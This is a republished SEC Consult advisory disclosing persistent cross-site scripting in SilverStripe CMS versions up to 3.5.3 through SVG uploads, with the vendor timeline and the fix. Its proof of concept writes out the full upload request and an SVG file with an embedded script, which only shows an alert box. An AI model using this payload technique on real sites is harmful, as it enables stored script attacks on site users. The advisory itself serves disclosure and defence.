SilverStrip CMS 3.5.3 Cross Site Scripting

2017.09.15
Credit: Anonymous
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

SEC Consult Vulnerability Lab Security Advisory < 20170914-1 > ======================================================================= title: Persistent Cross-Site Scripting product: SilverStripe CMS vulnerable version: <=3.5.3 fixed version: 3.6.1 impact: Medium homepage: https://www.silverstripe.org/ found: 2017-03-15 by: S. Tripathy (Office Singapore) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "SilverStripe is the intuitive content management system and flexible framework loved by editors and developers alike. Equip your web teams to achieve outstanding results." Source: https://www.silverstripe.org/ Business recommendation: ------------------------ SEC Consult recommends to do a proper output sanitization on uploaded SVG files. Users should upgrade to version 3.6.1 or higher. A thorough source code analysis is recommended. Vulnerability overview/description: ----------------------------------- 1) Persistant Cross Site Scripting Due to the lack of input validation and output sanitization, an attacker can upload SVG files containing malicious JavaScript code to be executed under a victim's browser context. Proof of concept: ----------------- 1) Persistant Cross Site Scripting Example: XSS using SVG File Upload The file upload function in the CMS allows to upload SVG files. But it doesn't sanitize output of the file which leads to XSS. There are 2 vulnerable instances of the same vulnerability. 1: The "Insert Media" option in the content editor. 2: The path "/admin/assets/add/" During editing contents or creating a new page an attacker can upload an SVG image using the "Insert Image" button. The request below shows that an attacker can upload an SVG file with malicious payloads. ====================================================================================== POST /admin/pages/edit/EditorToolbar/MediaForm/field/AssetUploadField/upload HTTP/1.1 Host: $host ---snip--- Cookie: PHPSESSID=esqs7da6338k0sgj7itn3tcil7; bypassStaticCache=1 Connection: close -----------------------------969190451574 Content-Disposition: form-data; name="SecurityID" undefined -----------------------------969190451574 Content-Disposition: form-data; name="AssetUploadField"; filename="evilsvgfile.svg" Content-Type: image/svg+xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert('XSS!'); </script> </svg> -----------------------------969190451574-- ====================================================================================== Using the same process an attacker can also upload a malicious SVG file in the path "/admin/assets/add/". A low privilege editor user such as a "Content Editor" can also exploit this vulnerability. Vulnerable / tested versions: ----------------------------- The following version is affected by the identified vulnerabilities which was the most recent version at the time of discovery: Silverstripe CMS version <=3.5.3 Vendor contact timeline: ------------------------ 2017-03-22: Contacting vendor through security@silverstripe.org 2017-03-23: Vendor provided public key certificates 2017-03-23: Sent the advisory to vendor 2017-04-17: Follow-up with vendor on the status 2017-04-17: Vendor responded work in progress 2017-05-09: Follow-up with vendor on the status, no response from the vendor 2017-05-24: Informed the vendor on releasing the advisory 2017-05-31: Vendor: vulnerability has been fixed, verified that it is not 2017-06-07: Vendor confirmed that the issue is not fixed and it will be fixed in the next release. 2017-06-27: Silverstripe Version 3.6.1 released 2017-09-14: Public release of advisory Solution: --------- Upgrade to SilverStripe v3.6.1 https://www.silverstripe.org/download/ Changelog: https://docs.silverstripe.org/en/3/changelogs/3.6.1 Workaround: ----------- Do not allow uploading an SVG file. Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Siddhartha Tripathy / @2017


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top